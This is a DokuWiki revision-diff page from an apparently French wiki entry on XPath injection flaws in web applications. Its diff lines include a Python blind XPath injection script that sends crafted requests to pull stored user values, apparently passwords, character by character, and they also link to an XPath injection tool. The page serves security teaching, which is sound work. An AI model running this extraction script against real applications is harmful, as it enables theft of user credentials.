Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
|
failles_web:xpath_injection [2014/07/01 14:10] sorcha [Docs] |
failles_web:xpath_injection [2017/04/09 15:33] (Version actuelle) |
||
|---|---|---|---|
| Ligne 5: | Ligne 5: | ||
| - | Une authentification basée sur un fichier xml. | ||
| ==== Le principe: ==== | ==== Le principe: ==== | ||
| Ligne 70: | Ligne 69: | ||
| Le test login/password se fait sur ce genre de code: | Le test login/password se fait sur ce genre de code: | ||
| <code php> | <code php> | ||
| - | Error during search, invalid XPath syntax : //user/username[contains(., '' )')] | + | Invalid XPath syntax : //user/username[contains(., '' )')] |
| </code> | </code> | ||
| Ligne 159: | Ligne 158: | ||
| <file python xpath3.py> | <file python xpath3.py> | ||
| import requests | import requests | ||
| + | |||
| + | |||
| + | page = "http:///?action=user&userid=2" | ||
| + | cooki = {'che' : '1','spip_session' : ''} | ||
| + | |||
| child_node_pos=0 | child_node_pos=0 | ||
| Ligne 165: | Ligne 169: | ||
| for user in range(1,10): | for user in range(1,10): | ||
| - | print "user:"+str(user) | + | print "user:"+str(user) |
| - | passwd="" | + | passwd="" |
| - | for child_node_pos in (1,2): | + | for child_node_pos in (4,6): |
| - | print " - noeud:"+str(child_node_pos) | + | print " - noeud:"+str(child_node_pos) |
| - | for t in range(1,50): | + | for t in range(1,50): |
| - | if continuer: | + | if continuer: |
| - | continuer=False | + | continuer=False |
| - | for carac in charset: | + | for carac in charset: |
| - | req=page+"+and+substring(//user["+str(user)+"]/child::node() ["+str(child_node_pos)+"],"+str(t)+",1)=codepoints-to-string("+str(ord(carac))+")" | + | req=page+"+and+substring(//user["+str(user)+"]/child::node()["+str(child_node_pos)+"],"+str(t)+",1)=codepoints-to-string("+str(ord(carac))+")" |
| - | res = requests.get(req,cookies=cooki) | + | res = requests.get(req,cookies=cooki) |
| - | + | ||
| - | if "Bob" in res.text: | + | if "John" in res.text: |
| - | passwd+=carac | + | passwd+=carac |
| - | continuer=True | + | continuer=True |
| - | print passwd | + | print passwd |
| - | break | + | break |
| - | else: | + | else: |
| - | print passwd | + | print passwd |
| - | t=1 | + | t=1 |
| - | continuer=True | + | continuer=True |
| - | passwd+=":" | + | passwd+=":" |
| - | break | + | break |
| </file> | </file> | ||
| \\ | \\ | ||
| Ligne 393: | Ligne 396: | ||
| Le meilleur pour la fin, l'excellent outil de Krach: | Le meilleur pour la fin, l'excellent outil de Krach: | ||
| - | [[http://krach.in/category/outils/page/4/]] | + | [[http://krach.me/XPath_Injection_Utility/]] |
| \\ | \\ | ||